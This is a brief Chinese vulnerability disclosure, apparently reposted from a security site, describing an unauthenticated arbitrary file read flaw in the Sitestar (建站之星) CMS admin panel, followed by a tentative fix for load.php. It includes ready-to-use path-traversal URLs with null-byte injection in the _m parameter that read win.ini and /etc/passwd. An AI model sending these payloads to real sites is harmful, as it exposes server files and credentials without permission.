建站之星后台任意文件读取下载

来源:黑吧安全网 浏览:956次 时间:2014-04-28
做网站找雨过天晴工作室

访问:http:/target/sitestar/admin/index.php?_m=../../robots.txt%00&_a=admin_add

robots.txt是系统自带,虽然是后台文件,但是其实无需管理员权限即可访问

如图:

win下:http://target/sitestar/admin/index.php?_m=../../../../../../../../../../windows/win.ini%00.jpg&_a=admin_add



未测试linux的环境,不过应该大同小异:http://target/sitestar/admin/index.php?_m=../../../../../../../../../../etc/passwd%00.jpg&_a=admin_add

修复方案:

load.php中$act =& ParamHolder::get('_m'); 这里加个验证,不许存在case3即ok?不知道我说的对不对。